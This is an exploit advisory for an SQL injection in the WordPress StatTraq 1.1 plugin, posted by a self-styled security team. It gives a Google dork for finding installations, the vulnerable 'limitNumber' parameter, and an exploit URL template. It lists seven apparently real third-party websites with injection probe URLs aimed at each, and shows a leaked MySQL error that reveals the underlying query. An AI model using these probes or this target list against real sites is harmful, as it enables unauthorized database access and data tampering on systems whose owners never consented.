###################################################################
# Exploit Title : WordPress Randy Peterman Murph StatTraq 1.1 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 26/03/2020
# Vendor Homepage : randypeterman.com
# Software Version : 1.0 - 1.0a - 1.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : StatTraq 1.1 Maintained by Murph.
StatTraq 1.0a Created by Randy Peterman.
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
WordPress Randy Peterman Murph StatTraq 1.1 is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Vulnerable File :
**********************
/wp-stattraq/index.php
# SQL Vulnerable Parameter :
***************************
?view=page_views&time_frame=[ID-NUMBER]&year=[YEAR-NUMBER]&month=[MONTH-NUMBER]&day=[DAY-NUMBER]&hour=[HOUR-NUMBER]&minute=[MINUTE-NUMBER]&limitNumber=[SQL Injection]
# SQL Injection Exploit :
**********************
/wp-stattraq/index.php?view=page_views&time_frame=[ID-NUMBER]&year=[YEAR-NUMBER]&month=[MONTH-NUMBER]&day=[DAY-NUMBER]&hour=[HOUR-NUMBER]&minute=[MINUTE-NUMBER]&limitNumber=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] lunchpail.com/fourandtwenty/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
[+] squirrel-secret.com/wordpress/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
[+] joonj.com/wordpress/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
[+] michaelgalloy.com/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
[+] vc-mindelheim.de/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
[+] bloodsexcrimson.com/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
[+] patron90.free.fr/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
###################################################################
# Example SQL Database Error :
****************************
Erreur de la base de données de WordPress : [You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1]
SELECT article_id, COUNT( line_id ) AS cnt, DATE_FORMAT(access_time,'%Y') AS year,
DATE_FORMAT(access_time,'%m') AS month, DATE_FORMAT(access_time,'%d') AS day,
DATE_FORMAT(access_time,'%H') AS hour, DATE_FORMAT(access_time,'%i') AS minute,
DATE_FORMAT(access_time,'%Y-%m-%d %H:00') AS dd FROM wp_stattraq WHERE
access_time BETWEEN '20050621000000' AND '20050621235959' AND user_agent_type=0
GROUP BY article_id ORDER BY cnt DESC LIMIT 0, 1\'
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################